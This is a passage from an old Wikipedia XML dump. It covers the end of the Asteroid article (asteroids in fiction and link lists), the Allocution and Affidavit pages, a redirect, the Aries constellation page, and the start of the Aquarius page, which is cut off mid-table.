*[[Professor Moriarty]], [[Sherlock Holmes]]' arch-enemy, &quot;is the celebrated author of'' &quot;The Dynamics of an Asteroid&quot;'', a book which ascends to such rarefied heights of pure mathematics that it is said that there was no man in the scientific press capable of criticizing it&quot; ([[The Valley of Fear]], [[1914]], set in [[1888]]).
*In ''[[The Little Prince]]'', a [[1943]] novel by [[Antoine de Saint-Exupéry]], the [[title role|title character]] lives on an asteroid named &quot;B-6-12&quot;. The [[asteroid moon]] [[Petit-Prince (asteroid)|Petit-Prince]] was named after the character, and [[46610 Bésixdouze]] after his asteroid.
*'[[Catch that Rabbit]]', one of the short stories in [[Isaac Asimov]]'s collection ''[[I, Robot]]'' ([[1950]]), takes place on an asteroid, while ''[[Marooned Off Vesta]],'' Asimov's first published story, concerns the plight of a group of astronauts stranded in orbit around the asteroid [[4 Vesta]].
*The Japanese science fiction film ''[[Chikyu Boeigun|The Mysterians]]'' aka ''[[Chikyu Boeigun]]'' ([[1957]]) reveals the solar system's asteroid belt as the remnants of the Mysterian's home planet, Mysteroid, after a nuclear war broke out.
*In ''[[Green Slime]]'' (1968), a masterpiece of [[B-movie]]s, a rogue asteroid hurtles toward Earth. The astronauts leave [[Space station|Space Station]] Gamma 3 and place bombs on the asteroid, finding it inhabited by strange blobs of glowing slime that are drawn to the equipment. Unfortunately for everyone some of the slime was carried back on a [[space suit]] and soon evolves into tentacled creatures! See the review: [http://www.badmovies.org/movies/greenslime/]. The movie inspired the classic [[board game]] ''[[Awful Green Things from Outer Space]]''.
*In the classic science-fiction movie ''[[2001: A Space Odyssey (film)|2001: A Space Odyssey]]'' ([[1968]]), the ''Discovery'' has a scientifically accurate &quot;close approach&quot; by a binary asteroid whilst en route to [[Jupiter (planet)|Jupiter]]. The scene simply cuts briefly to two lone rocks passing by the ship, with tens of thousands of kilometres to spare.
* In [[James P. Hogan (writer)|James P. Hogan]]'s ''Inherit the Stars'' ([[1977]]), first book of the ''Gentle Giants'' series, Minerva was a planet that exploded to form the [[asteroid belt]] 50,000 years ago.
*The [[disaster movie]] ''[[Meteor (movie)|Meteor]]'' ([[1979]]) depicts an asteroid named Orpheus hurtling toward Earth after its orbit is deflected by a [[comet]].
*[[Atari]] released the arcade game [[Asteroids]] in [[1979]].
*In ''[[The Empire Strikes Back]]'' ([[1980]]), [[Han Solo]] enters an asteroid field to flee from the [[Empire_(Star_Wars)|Imperial]] fleet, and [[C-3PO]] thinks it is a bad idea. Han then hides his ship, the ''[[Millennium Falcon]]'' inside a giant asteroid; The ship is then attacked by a vast monster that lives (inexplicably) within the asteroid in the vacuum of space.
*In [[Orson Scott Card]]'s ''[[Ender's Game]]'' ([[1985]]), a school on [[433 Eros]] is dedicated to children learning to become fleet commanders.
*[[Arthur C. Clarke]]'s novel ''[[2061: Odyssey Three]]'' ([[1986]]) depicts a journey through the asteroid belt and its ominous parallels with the journey of the ''[[RMS Titanic]]''.
*[[L. Neil Smith]]'s novel ''Pallas'' ([[Tor Books]], [[1993]]) depicts a modernized hunting based life on the terraformed asteroid [[Pallas]] and introduces Emerson Ngu.  The book was partly insired by the 1987 article &quot;The Worst Mistake in the History of the Human Race&quot; written by [[Jared Diamond]]. The book also includes a brief description of a way to encapsulate the entire surface of a small body such as an asteroid to enable creating an Earthlike environment.
*[[Arthur C. Clarke]]'s novel ''[[The Hammer of God]]'' ([[1993]]) depicts mankind's efforts to stop an asteroid named Kali from hitting the Earth. The film ''[[Deep Impact (movie)|Deep Impact]]'' ([[1998]]) was based on Clarke's novel, although in the movie, the asteroid becomes a [[comet]].
*In the [[LucasArts]] game ''[[The Dig]]'' (originally released in [[1995]]) and its novelization, the impact-threatening asteroid Attila turns out to be an alien probe.
*In the [[1998]] movie ''[[Starship Troopers]]'', aliens launch an asteroid at Earth, completely wiping out [[Buenos Aires]]. This is the opening move in the war.
*The film ''[[Armageddon (movie)|Armageddon]]'' (1998) is also about efforts to stop an asteroid hitting Earth. Its representation of an asteroid (and of space travel in general) is deeply unrealistic.
*[[Ben Bova]]'s novel series ''[[The Asteroid Wars]]'' ([[2001]]-[[2004]]) focuses on a war over the mining of the asteroid belt.
*In the [[BBC]] [[drama documentary]] ''[[Space Odyssey: Voyage to the Planets]]'' ([[2004]]), the ''Pegasus'' encounters a [[binary asteroid]] from much closer than expected, and dubs the rocks &quot;Hubris&quot; and &quot;Catastrophe&quot; as a result.
*An episode of the political television drama, ''[[The West Wing (television)|The West Wing]]'' entitled &quot;Impact Winter&quot; included a subplot in which the [[White House]] staff prepared for a possible asteroid strike on the Earth. (First broadcast on [[December 15]], [[2004]]).

==See also==
* [[List of noteworthy asteroids]]
* [[List of asteroids]]
* [[List of asteroids named after important people]]
* [[List of asteroids named after places]]
* [[Meanings of asteroid names]]
* [[Near-Earth object]]
* [[Minor planet]]
* [[Asteroid belt]]
* [[Pronunciation of asteroid names]]
* [[Minor Planet Center]]
* [[:Category:Asteroid_groups_and_families|Asteroid groups and families]]
* [[:Category:Asteroids|Asteroids]]

== References ==

*McSween and McSween, ''Meteorites and Their Parent Planets'', ISBN 0521587514

== External links ==
* [http://www.armageddononline.org/asteroid.php Known Asteroid Impacts &amp; Their Effects]
* [http://cfa-www.harvard.edu/iau/lists/MPNames.html Alphabetical list of minor planet names (ASCII)] (Minor Planet Center)
* [http://www.ipa.nw.ru/PAGE/DEPFUND/LSBSS/englenam.htm Alphabetical and numerical lists of minor planet names (Unicode)] (Institute of Applied Astronomy) ('''Warning:''' some ''designation'' here might be incorrect)
* [http://newton.dm.unipi.it/cgi-bin/neodys/neoibo Near Earth Objects Dynamic Site]
* [http://hamilton.dm.unipi.it/cgi-bin/astdys/astibo Asteroids Dynamic Site ] Up-to date [[osculating orbit|osculating]] [[orbital elements]] and [[proper orbital elements]].
* [http://quasar.ipa.nw.ru/PAGE/DEPFUND/LSBSS/statmpn.htm Asteroid naming statistics]
* [http://neat.jpl.nasa.gov/ Near Earth Asteroid Tracking (NEAT)]
* [http://www.spaceguarduk.com/ Spaceguard UK]
* [http://aa.usno.navy.mil/hilton/AsteroidHistory/minorplanets.html When Did the Asteroids Become Minor Planets?]
*[http://www.astrosurf.com/aude/map/us/AstFamilies2004-05-20.htm Large amount of information on asteroid groups collected by Gérard Faure], translation Richard Miles.
*[http://www.colorado.edu/physics/2000/applets/satellites.html Asteroid Simulator with Moon and Earth]
&lt;br clear=&quot;all&quot;&gt;
&lt;center&gt;''(asteroid navigator) | [[1 Ceres|First asteroid]] | ...''&lt;/center&gt;
{{MinorPlanets_Footer}}
{{Footer_SolarSystem}}

[[Category:Asteroids|*]]

{{Link FA|fr}}

[[bg:Астероид]]
[[ca:Asteroide]]
[[cs:Asteroid]]
[[da:Småplanet]]
[[de:Asteroid]]
[[et:Asteroid]]
[[es:Asteroide]]
[[eo:Asteroido]]
[[fr:Astéroïde]]
[[gl:Asteroide]]
[[ko:소행성]]
[[io:Asteroido-zono]]
[[id:Asteroid]]
[[it:Asteroide]]
[[he:אסטרואיד]]
[[la:Asteroides]]
[[ms:Asteroid]]
[[nl:Planetoïde]]
[[ja:小惑星]]
[[lt:Asteroidas]]
[[lv:Asteroīds]]
[[no:Asteroide]]
[[nn:Asteroide]]
[[pam:Asteroid]]
[[pl:Planetoida]]
[[pt:Asteróide]]
[[ro:Asteroid]]
[[ru:Астероид]]
[[scn:Astiroidi]]
[[simple:Asteroid]]
[[sk:Asteroid]]
[[sl:Asteroid]]
[[sr:Астероид]]
[[fi:Asteroidi]]
[[sv:Asteroid]]
[[tl:Asteroyd]]
[[tt:Asteroidlar]]
[[th:ดาวเคราะห์น้อย]]
[[tr:Asteroit]]
[[zh:小行星]]
[[zh-min-nan:Sió-he̍k-chheⁿ]]</text>
    </revision>
  </page>
  <page>
    <title>Allocution</title>
    <id>794</id>
    <revision>
      <id>15899309</id>
      <timestamp>2005-05-23T05:38:11Z</timestamp>
      <contributor>
        <ip>208.186.187.78</ip>
      </contributor>
      <comment>Restored dropped comma; reformatted cross-reference to 'Confession'.</comment>
      <text xml:space="preserve">Generally, '''to allocute''' means &quot;to speak out formally.&quot;  In the field of [[apologetics]], allocution is generally done in defense of a belief.  In politics, one may allocute before a legislative body in an effort to influence their position on an issue.  In law, it is generally meant to state specifically and in detail what one did &lt;nowiki&gt;and/or&lt;/nowiki&gt; why, often in relation to commission of a crime.

In most jurisdictions, a defendant is allowed the opportunity to allocute &amp;mdash; that is, explain himself, before sentence is passed.  Some jurisdictions hold this as an absolute right, and in its absence, a sentence may potentially be overturned, with the result that a new sentencing hearing must be held.

Allocution is sometimes required of a defendant who pleads guilty to a crime in a [[plea bargain]] in exchange for a reduced sentence.  In this instance, allocution can serve to provide closure for victims or their families.  In principle, it removes any doubt as to the exact nature of the defendant's guilt in the matter.  However, there have been many cases in which the defendant allocuted to a crime that he did not commit, often because this is a requirement to receiving a lesser sentence.

The term &quot;allocution&quot; is generally only in use in jurisdictions in the United States, though there are similar processes in other nations.

== See also ==
* [[Confession]]

[[Category:Law]]</text>
    </revision>
  </page>
  <page>
    <title>Affidavit</title>
    <id>795</id>
    <revision>
      <id>38942603</id>
      <timestamp>2006-02-09T17:59:44Z</timestamp>
      <contributor>
        <ip>128.86.150.65</ip>
      </contributor>
      <text xml:space="preserve">An '''affidavit''' is a formal sworn statement of fact, written down, signed, and witnessed (as to the veracity of the signature) by a taker of oaths, such as a [[notary public]]. The name is [[Medieval Latin]] for  ''he has declared upon oath''.

One use of affidavits is to allow evidence to be gathered from witnesses or participants that may not be available to testify in person before the court.  

In American [[jurisprudence]], it is very unusual to allow an unsupported affidavit to be entered into evidence (as the person sworn in the affidavit is not subject to cross-examination) with regard to material facts which may be dispositive of the matter [[at bar]].  Affidavits from persons who are dead or otherwise incapacitated, or who cannot be located or made to appear may be accepted by the court, but usually only in the presence of [[corroborating evidence]].  A formerly written affidavit, which reflected a better grasp of the facts closer in time to the actual events, may be used to refresh a witness' recollection.  Materials used to refresh recollection are admissible as evidence.

Some types of motions will not be accepted by a court unless accompanied by an independent sworn statement or other evidence, in support of the need for the motion.  In such a case, the court will accept an affidavit from the filing attorney in support of the motion, as certain assumptions are made, to wit:  The affidavit in place of sworn testimony promotes [[judicial economy]].  The lawyer is an [[officer of the court]] and knows that a false swearing by him, if found out, could be grounds for severe penalty up to and including [[disbarment]].  The lawyer if called upon would be able to present independent and more detailed evidence to prove the facts set forth in his affidavit.



== In the United Kingdom ==
Affidavits are made by writing &quot;I (state full name) of (insert address)on this date (date in words) make oath and say as follows...&quot;.  After this has been written, the facts to be sworn are listed, in pros or in bullet points.  The document is then taken to a [[commisssioner for oaths]] (most [[solicitors]] are also commissioners for oaths).  They will then ask you to swear on a holy book particular to your faith ([[The New Testament]], [[The Old Testament]], the [[Qur'an]], etc) and ask you to verify what has been stated.

An Affidavit is of equivalent value to sworn testimony.

[[Category:Evidence]]
[[Category:Legal documents]]

[[de:Versicherung an Eides Statt]]
[[he:תצהיר]]</text>
    </revision>
  </page>
  <page>
    <title>Alzheimers Disease</title>
    <id>797</id>
    <revision>
      <id>15899311</id>
      <timestamp>2002-04-27T16:46:33Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>*link fix</comment>
      <text xml:space="preserve">#REDIRECT [[Alzheimer's disease]]
 </text>
    </revision>
  </page>
  <page>
    <title>Aries</title>
    <id>798</id>
    <revision>
      <id>41512192</id>
      <timestamp>2006-02-27T21:33:40Z</timestamp>
      <contributor>
        <username>BorgQueen</username>
        <id>382591</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/199.216.116.6|199.216.116.6]] ([[User talk:199.216.116.6|talk]]) to last version by That Guy, From That Show!</comment>
      <text xml:space="preserve">:''For other uses, see [[Aries (disambiguation)]]''
{{Infobox Constellation|
name = Aries |
abbreviation = Ari |
genitive = Arietis |
symbology = the [[Domestic sheep|Ram]]|
RA = 3 |
dec= +20 |
areatotal = 441 |
arearank = 39th |
numberstars = 2 |
starname = [[Alpha Arietis|&amp;alpha; Ari]] (Hamal) |
starmagnitude = 2.0 |
meteorshowers =
*[[May Arietids]]
*[[Autumn Arietids]]
*[[Delta Arietids]]
*[[Epsilon Arietids]]
*[[Daytime-Arietids]]
*[[Aries-Triangulids]] |
bordering =
*[[Perseus (constellation)|Perseus]]
*[[Triangulum]]
*[[Pisces]]
*[[Cetus]]
*[[Taurus (constellation)|Taurus]] |
latmax = 90 |
latmin = 60 |
month = December |
notes=}}
'''Aries''' ([[Latin]] for ''[[sheep|Ram]]'', symbol [[Image:Aries_symbol.png|20px]], [[Unicode]] ♈) is one of the [[constellation]]s of the [[zodiac]].  It lies between [[Pisces]] to the west and [[Taurus (constellation)|Taurus]] to the east.

== Notable features ==
Aries' stars are rather faint except for [[Alpha Arietis|&amp;alpha; Ari]] (Hamal) and [[Beta Arietis|&amp;beta; Ari]] (Sharatan). Other important stars are [[Gamma Arietis|&amp;gamma; Ari]] (Mesarthim) and [[Delta Arietis|&amp;delta; Ari]] (Botein).

[[Teegarden's star]], in Aries, is one of our sun's closest neighbours.

== Notable deep sky objects ==
The few [[deep sky object]]s in Aries are very dim. They include the [[galaxy|galaxies]] NGC 697 (northwest of &amp;beta;), NGC 772 (southeast of &amp;beta;), NGC 972 (in the constellation's northern corner), and NGC 1156 (northwest of &amp;delta;).

== Mythology ==
When including fainter stars, visible to the naked eye, the area resembles the head of a [[sheep|ram]], having a general herbivore head shape and a spiral horn.

In [[Greek mythology]], this is believed to represent the ram which carried Athamas's son [[Phrixus]] and daughter [[Helle (mythology)|Helle]] to Colchis to escape their stepmother [[Ino]]. Helle fell off into the sea which later became the Hellespont. On reaching safety, Phrixis sacrificed the ram and hung its [[golden fleece|fleece]] in the Grove of Ares, where it turned to gold and later became the quest of [[Jason]] and the [[Argonauts]]. It appears that [[Babylonians]], [[Greeks]], [[Persians]] and [[Ancient Egypt|Egyptians]] all agreed on the name of the Ram for this [[constellation]].

The main area of the sky constituting the sign of Aries, containing part of [[Pisces]], the [[Pleiades]], and the constellation of [[Andromeda (constellation)|Andromeda]], may be the origin of the myth of the girdle of [[Hippolyte]], which forms part of [[The Twelve Labours]] of [[Hercules]].

===Astrology===
The Western [[astrological sign]] Aries of the [[tropical zodiac]] ([[March 21]]&amp;ndash;[[April 19]]) differs from the astronomical constellation and the Hindu astrological sign of the [[Sidereal astrology|sidereal zodiac]] ([[April 19]] - [[May 13]]).

In some cosmologies, Aries is associated with the [[classical element]] [[Fire (classical element)|Fire]], and thus called a fire sign (along with [[Sagittarius]] and [[Leo]]). It is the [[domicile (astrology)|domicile]] of [[Mars (god)|Mars]] and the [[Exaltation (astrology)|exaltation]] of the [[Sun]]. It is also one of the four [[Cardinal sign]]s (along with [[Libra]], [[Capricorn]], and [[Cancer (constellation)|Cancer]]). Its polar opposite is [[Libra]]. Each astrological sign is assigned a part of the body, viewed as the seat of its power. Aries rules the head and face. The symbol for Aries is the [[sheep|ram]].
{{unreferenced}}

==Notable and named stars==
{| style=&quot;color:#000000; font-size:smaller;&quot; cellspacing=2 cellpadding=0
|-
! style=&quot;background-color:#dddddd;&quot; | [[Bayer designation|BD]]
! style=&quot;background-color:#dddddd;&quot; | [[Flamsteed designation|F]]
! style=&quot;background-color:#dddddd;&quot; | Names and other designations
! style=&quot;background-color:#dddddd;&quot; | [[apparent magnitude|Mag.]]
! style=&quot;background-color:#dddddd;&quot; | [[Light year|Ly]] away
! style=&quot;background-color:#dddddd;&quot; | Comments
|-
| &amp;alpha; || 13 || [[Alpha Arietis]], Hamal, Hemal, Hamul, Ras Hammel, El Nath, Arietis || 2.01 || 65.9 ||
* &lt;  &amp;#1585;&amp;#1571;&amp;#1587; &amp;#1575;&amp;#1604;&amp;#1581;&amp;#1605;&amp;#1604;  ''ra's[u] al-&amp;#295;amal''  Head of the ram
* &lt; &amp;#1575;&amp;#1604;&amp;#1606;&amp;#1591;&amp;#1581;  ''an-na&amp;#355;&amp;#295;''  The butting (horn)
|- style=&quot;background-color:#eeeeee;&quot;
| &amp;beta; || 6 || [[Beta Arietis]], Sheratan, Sharatan, Al Sharatain || 2.64 || 59.6 ||
* &lt; &amp;#1575;&amp;#1604;&amp;#1588;&amp;#1585;&amp;#1575;&amp;#1591;&amp;#1575;&amp;#1606; ''a&amp;#353;-&amp;#353;ar&amp;#257;&amp;#355;&amp;#257;n''  The (two) signs  (originally &amp;#946; and &amp;#947; Ari)
|-
| c || 41 || [[41 Arietis]], Bharani || 3.61 || 159 ||
|- style=&quot;background-color:#eeeeee;&quot;
| &amp;gamma;&amp;sup1;&lt;sup&gt;,&lt;/sup&gt;&amp;sup2; || 5 || [[Gamma Arietis]], Mesarthim, Mesartim || 3.88 || 204 ||
* [[triple star system]]; component magnitudes: 4.75, 4.83, 9.6
* &amp;gamma;&amp;sup2; is an [[Alpha2 Canum Venaticorum variable|Alpha2 Canum Venaticorum type]] [[variable star]]
|-
| &amp;delta; || 56 || [[Delta Arietis]], Botein || 4.35 || 168 ||
* &lt; &amp;#1576;&amp;#1591;&amp;#1610;&amp;#1606;  ''al-bu&amp;#355;ayn''  The belly [diminutive]
|- style=&quot;background-color:#eeeeee;&quot;
| || 39 || [[39 Arietis]] || 4.52 ||  ||
|-
| &amp;epsilon; || 48 || [[Epsilon Arietis]] || 4.63 || 293 ||
* [[triple star system]]; component magnitudes: 5.2, 5.5, 12.7
|- style=&quot;background-color:#eeeeee;&quot;
| || 35 || [[35 Arietis]] || 4.65 ||  ||
|-
| &amp;lambda; || 9 || [[Lambda Arietis]] || 4.79 || 133 ||
* [[binary star]]; component magnitudes: 4.9, 7.4
|- style=&quot;background-color:#eeeeee;&quot;
| &amp;zeta; || 58 || [[Zeta Arietis]] || 4.87 || 340 ||
|-
| || 14 || [[14 Arietis]] || 4.98 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| &amp;kappa; || 12 || [[Kappa Arietis]] || 5.03 || 187 ||
* [[spectroscopic binary]]
|-
| &amp;iota; || 8 || [[Iota Arietis]] || 5.09 || 660 ||
* [[spectroscopic binary]]
|- style=&quot;background-color:#eeeeee;&quot;
| &amp;tau;&amp;sup2; || 63 || [[Tau Arietis|Tau-2 Arietis]] || 5.10 || 319 ||
|-
| || 38 || [[38 Arietis]] || 5.17 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| &amp;eta; || 17 || [[Eta Arietis]] || 5.23 || 98.3 ||
|-
| &amp;pi; || 42 || [[Pi Arietis]] || 5.26 || 600 ||
* close [[spectroscopic binary]]
|- style=&quot;background-color:#eeeeee;&quot;
| &amp;tau;&amp;sup1; || 61 || [[Tau Arietis|Tau-1 Arietis]] || 5.27 || 462 ||
* [[eclipsing binary|eclipsing]] [[triple star system]].  Magnitude fluctuation: 5.26&amp;ndash;5.32.  Component magnitudes: 5.4, 7.9, 8.4
|-
| || 33 || [[33 Arietis]] || 5.30 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| &amp;nu; || 32 || [[Nu Arietis]] || 5.45 || 347 ||
|-
| || 52 || [[52 Arietis]] || 5.45 ||  ||
* [[binary star]]; component magnitudes: 6.8, 7.0
|- style=&quot;background-color:#eeeeee;&quot;
| &amp;xi; || 24 || [[Xi Arietis]] || 5.48 || 600 ||
|-
| || 64 || [[64 Arietis]] || 5.50 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| &amp;sigma; || 43 || [[Sigma Arietis]] || 5.52 || 480 ||
|-
| || 62 || [[62 Arietis]] || 5.55 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| || 21 || [[21 Arietis]] || 5.57 ||  ||
|-
| &amp;theta; || 22 || [[Theta Arietis]] || 5.58 || 387 ||
|- style=&quot;background-color:#eeeeee;&quot;
| &amp;rho;&amp;sup3; || 46 || [[Rho Arietis|Rho-3 Arietis]], Rho Arietis || 5.58 || 115 ||
|-
| || 10 || [[10 Arietis]] || 5.64 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| || 31 || [[31 Arietis]] || 5.64 ||  ||
|-
| || 15 || [[15 Arietis]] || 5.68 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| || 19 || [[19 Arietis]] || 5.72 ||  ||
|-
| &amp;mu; || 34 || [[Mu Arietis]] || 5.74 || 338 ||
|- style=&quot;background-color:#eeeeee;&quot;
| || 55 || [[55 Arietis]] || 5.74 ||  ||
|-
| &amp;rho;&amp;sup2; || 45 || [[Rho Arietis|Rho-2 Arietis]], RZ Arietis || 5.76 || 404 ||
* [[semiregular variable]]
|- style=&quot;background-color:#eeeeee;&quot;
| || 7 || [[7 Arietis]] || 5.76 ||  ||
|-
| &amp;omicron; || 37 || [[Omicron Arietis]] || 5.78 || 482 ||
|- style=&quot;background-color:#eeeeee;&quot;
| || 56 || [[56 Arietis]] || 5.78 ||  ||
|-
| || 20 || [[20 Arietis]] || 5.79 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| || 47 || [[47 Arietis]] || 5.80 ||  ||
|-
| || 1 || [[1 Arietis]] || 5.83 ||  ||
* [[binary star]]; component magnitudes 6.2, 7.3.
|- style=&quot;background-color:#eeeeee;&quot;
| || 40 || [[40 Arietis]] || 5.83 ||  ||
|-
| || 4 || [[4 Arietis]] || 5.86 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| || 49 || [[49 Arietis]] || 5.91 ||  ||
|-
| || 59 || [[59 Arietis]] || 5.91 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| || 29 || [[20 Arietis]] || 6.00 ||  ||
|-
| || 11 || [[11 Arietis]] || 6.01 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| || 16 || [[16 Arietis]] || 6.01 ||  ||
|-
| || 30 || [[30 Arietis]] || 6.01 ||  ||
* [[binary star]]; component magnitudes: 6.51, 7.09
|- style=&quot;background-color:#eeeeee;&quot;
| || 66 || [[66 Arietis]] || 6.03 ||  ||
|-
| || 65 || [[65 Arietis]] || 6.07 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| || 53 || [[53 Arietis]] || 6.13 ||  ||
|-
| || 26 || [[26 Arietis]] || 6.14 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| || 60 || [[60 Arietis]] || 6.14 ||  ||
|-
| || 27 || [[27 Arietis]] || 6.21 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| || 54 || [[54 Arietis]] || 6.24 ||  ||
|-
| || 36 || [[36 Arietis]] || 6.40 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| || 25 || [[25 Arietis]] || 6.45 ||  ||
|-
| || 3 || [[3 Arietis]] || 6.55 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| || 51 || [[51 Arietis]] || 6.62 ||  ||
|-
| &amp;rho;&amp;sup1; || 44 || [[Rho Arietis|Rho-1 Arietis]] || 7.10 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| || || [[HD 12661]] || 7.44 || 121 ||
* has two planets
|-
| || || [[BD plus 20 307|BD+20&amp;deg;307]] || 9.01 || 300 ||
|- style=&quot;background-color:#eeeeee;&quot;
| || || [[TZ Arietis]] || 12.1 || 14.5 ||
* [[flare star]]
|-
| || || [[Teegarden's star]], SO025300.5+165258 || 15.4 || 12.6 ||
* nearby
* high [[proper motion]]
|}
Source: &lt;cite&gt;The Bright Star Catalogue, 5th Revised Ed.&lt;/cite&gt;, &lt;cite&gt;The Hipparcos Catalogue, ESA SP-1200&lt;/cite&gt;

== See also ==
{{Zodiac}}
{{ConstellationsListedByPtolemy}}
{{ConstellationList}}

== External links ==
{{Commons|Aries}}
* [http://www.allthesky.com/constellations/aries/ The Deep Photographic Guide to the Constellations: Aries]

[[Category:Aries constellation| ]]
[[Category:Astrological signs]]

[[an:Aries]]
[[ast:Aries]]
[[ca:Àries]]
[[cs:Beran (souhvězdí)]]
[[da:Vædderen (stjernetegn)]]
[[de:Widder (Sternbild)]]
[[es:Aries]]
[[eo:Ŝafo (Zodiako)]]
[[fr:Bélier (constellation)]]
[[ga:An Reithe]]
[[ko:양자리]]
[[id:Aries]]
[[it:Ariete (astronomia)]]
[[ka:ვერძი]]
[[ku:Beran (birç)]]
[[la:Aries (sidus)]]
[[lt:Avinas (astronomija)]]
[[nl:Ram (sterrenbeeld)]]
[[ja:おひつじ座]]
[[pl:Baran (gwiazdozbiór)]]
[[pt:Aries]]
[[ru:Овен (созвездие)]]
[[sk:Súhvezdie Baran]]
[[fi:Oinas]]
[[sv:Väduren]]
[[th:กลุ่มดาวแกะ]]
[[zh:白羊座]]</text>
    </revision>
  </page>
  <page>
    <title>Aquarius</title>
    <id>799</id>
    <revision>
      <id>41610629</id>
      <timestamp>2006-02-28T14:20:08Z</timestamp>
      <contributor>
        <username>Emre D.</username>
        <id>665265</id>
      </contributor>
      <minor />
      <comment>Revert to revision 40765528 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{Otheruses1|the constellation}}
{{Infobox Constellation|
name = Aquarius |
abbreviation = Aqr |
genitive = Aquarii |
symbology = the Water-bearer |
RA = 23 |
dec= &amp;minus;15 |
areatotal = 980 |
arearank = 10th |
numberstars = 2 |
starname = [[Beta Aquarii|&amp;beta; Aqr]] (Sadalsuud) |
starmagnitude = 2.9 |
meteorshowers =
*[[March Aquarids]]
*[[Eta Aquarids]] (May&amp;nbsp;4)
*[[Delta Aquarids]] (June&amp;nbsp;28)
*[[Iota Aquarids]] |
bordering =
*[[Pisces]]
*[[Pegasus (constellation)|Pegasus]]
*[[Equuleus]]
*[[Delphinus]]
*[[Aquila (constellation)|Aquila]]
*[[Capricornus]]
*[[Piscis Austrinus]]
*[[Sculptor (constellation)|Sculptor]]
*[[Cetus]] |
latmax = 65 |
latmin = 90 |
month = October |
notes=}}
'''Aquarius''' ([[Latin]] for the ''[[Water]]-bearer'' or ''Cup-bearer'', symbol [[Image:Aquarius_symbol_small.png|20px]], [[Unicode]] ♒) is the eleventh sign of the [[zodiac]],  situated between Capricornus and Pisces.  Its symbol is [[Image:Aquarius_symbol_small.png|20px]], representing part of a stream of water. 

Aquarius is one of the oldest recognized constellations along the zodiac, the sun's apparent path. It is found in a region often called the [[Sea (astronomy)|Sea]] due to its profusion of watery constellations such as [[Cetus]], [[Pisces]], [[Eridanus (constellation)|Eridanus]], etc. Sometimes, the river Eridanus is depicted spilling from Aquarius' watering pot.

== Notable deep sky objects ==
There are three [[deep sky object]]s that are on the [[Messier object|Messier catalog]], the [[Globular Cluster M2]], [[Globular Cluster M72]], and the [[Messier Object 73|Open Cluster M73]].

Two [[planetary nebula]]e are found in Aquarius: [[NGC 7009]], called the [[Saturn Nebula]] due to its resemblance to the [[Saturn (planet)|planet]], to the southeast of &amp;eta; Aquarii; and [[NGC 7293]], the famous [[Helix Nebula]], southwest of &amp;delta; Aquarii.

== History ==
The constellation was immortalized in the [[1960s]], proclaimed the [[Age of Aquarius]]. However, there is no standard definition for astrological ages, so the age of Aquarius could begin in [[2150]] or even [[2660]], depending on the preferred definition.  Based on the modern constellation boundaries of [[Pisces]] and Aquarius, the age of Aquarius would begin around 2660.

However, with so much of modern society reflecting the qualities of Aquarius most astrologers believe that this era has begun. Mass production, electricity, flight and space travel, electronic communications including computers the Internet, even the growing movement against capitalism in favour of a more socialist system of humanitarian development are all related to the Aquarian paradigm.

== Mythology ==
The best-known myth identifies Aquarius with [[Ganymede (mythology)|Ganymede]], a beautiful youth with whom [[Zeus]] fell in love, and whom he (in the guise of an eagle, represented as the constellation [[Aquila (constellation)|Aquila]]) carried off to Olympus to be cupbearer to the gods. [[Crater (constellation)|Crater]] is sometimes identified as his cup. 

Aquarius generally resembles the figure of a man, and when considering fainter humanly visible stars, it takes on the image of a man with a bucket from which is pouring a stream. Aquarius was also identified as the pourer of the waters which flooded the earth in the [[Deluge (mythology)|Great Flood]], in the [[Greek mythology|ancient Greek version]] of the myth. As such, the constellation [[Eridanus (constellation)|Eridanus]] was sometimes identified as being a river poured out by Aquarius.

It may also, together with the constellation [[Pegasus (constellation)|Pegasus]], be part of the origin of the myth of the [[Mares of Diomedes]], which forms one of [[The Twelve Labours]] of [[Heracles]]. Its association with pouring out rivers, and the nearby constellation of [[Capricornus]], may be the source of the myth of the [[Augean stable]], which forms another of the labours.

===Astrology===
The Western [[astrological sign]] Aquarius of the [[tropical zodiac]] ([[January 20]] - [[February 18]]) differs from the astronomical constellation and the Hindu astrological sign of the [[Sidereal astrology|sidereal zodiac]] ([[February 16]] - [[March 11]]).

In some cosmologies, Aquarius is associated with the [[classical element]] [[air (classical element)|Air]], and thus called an Air Sign (with [[Libra]] and [[Gemini]]). It is also one of the four Fixed signs (along with [[Leo]], [[Scorpius|Scorpio]], and [[Taurus]]). Its polar opposite is Leo. It is the domicile of [[Saturn (planet)|Saturn]] (since its discovery [[Uranus (planet)|Uranus]] has been considered Aquarius' ruling or co-ruling planet by many modern astrologers). Each astrological sign is assigned a part of the body, viewed as the seat of its power. Aquarius rules the [[circulatory system]] as well as the [[ankles]]. The symbol for Aquarius is the [[water bearer]].

==Notable and named stars==
{| style=&quot;color:#000000; font-size:smaller;&quot; cellspacing=2 cellpadding=0
|-
! style=&quot;background-color:#dddddd;&quot; | [[Bayer designation|BD]]
! style=&quot;background-color:#dddddd;&quot; | [[Flamsteed designation|F]]
! style=&quot;background-color:#dddddd;&quot; | Names and other designations
! style=&quot;background-color:#dddddd;&quot; | [[apparent magnitude|Mag.]]
! style=&quot;background-color:#dddddd;&quot; | [[Light year|Ly]] away
! style=&quot;background-color:#dddddd;&quot; | Comments
|-
| &amp;beta; || 22 || [[Beta Aquarii]], Sadalsuud, Sadalsud, Sad es Saud, Sadalsund, Saad el Sund || 2.90 || 610 ||
